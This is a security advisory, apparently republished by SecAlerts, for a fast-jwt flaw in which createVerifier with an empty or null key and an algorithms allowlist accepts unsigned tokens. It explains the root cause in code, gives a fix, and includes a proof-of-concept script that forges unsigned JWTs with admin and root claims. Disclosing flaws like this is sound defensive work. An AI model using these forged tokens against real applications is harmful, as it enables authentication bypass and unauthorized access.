GHSA-8wpc-h4q6-8fxv: Input Validation

Published Oct 8, 2026
·
Updated

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/ ... /) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) }

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) }

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

js const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) { throw new TokenError(/ missingSignature /) } else if (!hasKey && signature) { throw new TokenError(/ missingKey /) } // !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/ invalidSignature /) }

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

- createSigner({ key: '' }) / key: null → rejected - createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests) - createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install

js // poc-empty-key-bypass.js const { createVerifier } = require('.')

function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return ${h}.${p}. // trailing dot = empty signature }

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true }

// Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FASTJWTMISSINGSIGNATURE

try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FASTJWTINVALIDALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FASTJWTINVALIDKEY

Expected: TokenError with code FASTJWTINVALIDKEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWTSECRET || ''), and 2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } }

Also guard the combination explicitly:

js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') }

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

Affected Software

1 affected componentFixes available
npm/fast-jwt<=6.3.0
6.3.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/fast-jwt to a version that resolves this vulnerability.

    Fixed in 6.3.1
  2. Compensating control

    In fast-jwt createVerifier, fail closed before binding the verifier when the synchronous key is null or an empty string, especially when algorithms is a non-empty allowlist; reject the configuration instead of permitting unsigned tokens.

Event History

Oct 8, 2026
Advisory Published
via GitHub·10:02 PM
Data Sourced
via GitHub·10:02 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which verifier configurations are exposed?

Applications using fast-jwt versions 6.3.0 or earlier are affected when createVerifier receives a synchronous key value of null or an empty string and algorithms is a non-empty allowlist. The issue is tied to that combination of options.

2

What does an attacker need to exploit this issue?

An attacker only needs to be able to present a JWT to the application. They do not need a signing key, and the JWT algorithm does not prevent exploitation under the affected configuration.

3

What can be done if the affected configuration cannot be patched immediately?

Ensure createVerifier is not configured with a synchronous null or empty-string key. Use a non-falsy key value and review verifier configurations that also specify a non-empty algorithms allowlist.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203